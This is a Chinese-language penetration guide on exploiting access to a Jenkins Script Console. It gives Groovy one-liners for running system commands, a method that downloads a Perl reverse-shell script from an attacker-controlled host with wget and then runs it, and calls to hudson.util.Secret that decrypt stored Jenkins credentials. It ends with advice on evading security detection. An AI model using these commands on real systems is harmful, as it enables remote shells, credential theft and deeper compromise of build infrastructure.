jenkins:利用script console
字数 891 2025-08-10 13:48:19

Jenkins Script Console 利用指南

概述

当获得 Jenkins Script Console 操作权限后,可以通过以下两种主要方式进行进一步利用。本指南将详细介绍这两种方法的技术细节和操作步骤。

方法一:通过 Script Console 执行系统命令

基本命令执行

  1. 访问路径:Manage Jenkins → 下滑找到 Script Console
  2. 基本语法:
    println "命令".execute().text
    
  3. 示例:
    println "ls -al /etc/".execute().text
    

反弹 Shell 技术

当直接使用 bash、nc 反弹 shell 失败时,可尝试其他语言:

Perl 反弹 Shell 方法

  1. 准备阶段:

    • 将反弹 shell 脚本 (shshshsh.pl) 放在攻击者服务器上
    • 在服务器上开启 HTTP 监听
  2. 执行步骤:

    // 下载文件
    println "wget -P /tmp http://x.x.x.x:8888/shshshsh.pl".execute().text
    
    // 执行文件
    println "perl /tmp/shshshsh.pl".execute().text
    

其他语言替代方案

可尝试使用 Python、Ruby 等语言实现类似功能,绕过可能的检测机制。

方法二:Jenkins 凭据提取

凭据位置

  • 主配置文件:credentials.xml
  • 存储格式:加密字符串 (如 {AQAAABAAAAAgQI+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+j5DiVg251XDjq+})

提取方法

方法一:通过 UI 获取加密凭据

  1. 访问路径:CredentialsSystemGlobal credentials → 选择凭据 → Update
  2. 查看网页源码,在隐藏字段中查找加密后的密码

方法二:通过 Script Console 解密

  1. 使用 fromString 方法:

    println(hudson.util.Secret.fromString("{加密字符串}").getPlainText())
    
  2. 使用 decrypt 方法:

    println(hudson.util.Secret.decrypt("{加密字符串}"))
    

适用条件

此方法适用于账号密码类型的凭据解密。

安全注意事项

  1. 检测风险:直接命令执行方式容易被安全设备检测
  2. 规避建议:
    • 使用不常见的编程语言实现功能
    • 分段执行操作
    • 使用加密通信

总结

掌握这两种方法可以有效地利用获得的 Jenkins Script Console 权限进行深入渗透。方法一提供了系统命令执行能力,方法二则专注于凭据提取,两者结合可以获取更全面的系统控制权。

Jenkins Script Console 利用指南 概述 当获得 Jenkins Script Console 操作权限后,可以通过以下两种主要方式进行进一步利用。本指南将详细介绍这两种方法的技术细节和操作步骤。 方法一:通过 Script Console 执行系统命令 基本命令执行 访问路径: Manage Jenkins → 下滑找到 Script Console 基本语法: 示例: 反弹 Shell 技术 当直接使用 bash、nc 反弹 shell 失败时,可尝试其他语言: Perl 反弹 Shell 方法 准备阶段: 将反弹 shell 脚本 (shshshsh.pl) 放在攻击者服务器上 在服务器上开启 HTTP 监听 执行步骤: 其他语言替代方案 可尝试使用 Python、Ruby 等语言实现类似功能,绕过可能的检测机制。 方法二:Jenkins 凭据提取 凭据位置 主配置文件: credentials.xml 存储格式:加密字符串 (如 {AQAAABAAAAAgQI+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+j5DiVg251XDjq+} ) 提取方法 方法一:通过 UI 获取加密凭据 访问路径: Credentials → System → Global credentials → 选择凭据 → Update 查看网页源码,在隐藏字段中查找加密后的密码 方法二:通过 Script Console 解密 使用 fromString 方法: 使用 decrypt 方法: 适用条件 此方法适用于账号密码类型的凭据解密。 安全注意事项 检测风险:直接命令执行方式容易被安全设备检测 规避建议: 使用不常见的编程语言实现功能 分段执行操作 使用加密通信 总结 掌握这两种方法可以有效地利用获得的 Jenkins Script Console 权限进行深入渗透。方法一提供了系统命令执行能力,方法二则专注于凭据提取,两者结合可以获取更全面的系统控制权。